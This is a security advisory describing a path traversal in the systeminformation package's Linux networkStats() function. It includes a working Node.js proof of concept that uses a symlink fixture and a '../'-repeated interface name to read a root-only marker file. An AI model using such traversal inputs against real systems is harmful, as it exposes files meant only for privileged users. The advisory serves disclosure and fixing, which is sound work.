systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net

Summary

On Linux, [email protected] builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.

Details

The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.

The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.

PoC

Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:

mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install [email protected]

Save the following as poc.cjs in that directory, then run sudo node poc.cjs:

'use strict';

const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');

const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
  const fs = require('node:fs');
  const root = process.env.SI_FIXTURE_ROOT;
  const secret = process.env.SI_SECRET;
  fs.mkdirSync(root + '/statistics', { recursive: true });
  for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
    fs.writeFileSync(root + '/statistics/' + name, '0\\n');
  }
  fs.symlinkSync(secret, root + '/operstate');
`;

(async () => {
  try {
    fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
    fs.chmodSync(secret, 0o600);

    execFileSync('runuser', [
      '-u', 'nobody', '--', 'env',
      `SI_FIXTURE_ROOT=${root}`,
      `SI_SECRET=${secret}`,
      process.execPath, '-e', fixtureCode
    ], { stdio: 'inherit' });

    let nobodyCouldRead = true;
    try {
      execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
    } catch {
      nobodyCouldRead = false;
    }
    if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');

    const iface = '../'.repeat(24) + root.slice(1);
    const rows = await si.networkStats(iface);
    const returned = String(rows[0]?.operstate ?? '').trim();
    const success = returned === marker;

    console.log(JSON.stringify({
      nobodyCouldRead,
      libraryReturnedRootOnlyMarker: success,
      returnedOperstate: returned
    }, null, 2));

    if (!success) process.exitCode = 1;
  } finally {
    fs.rmSync(root, { recursive: true, force: true });
    fs.rmSync(secret, { force: true });
  }
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});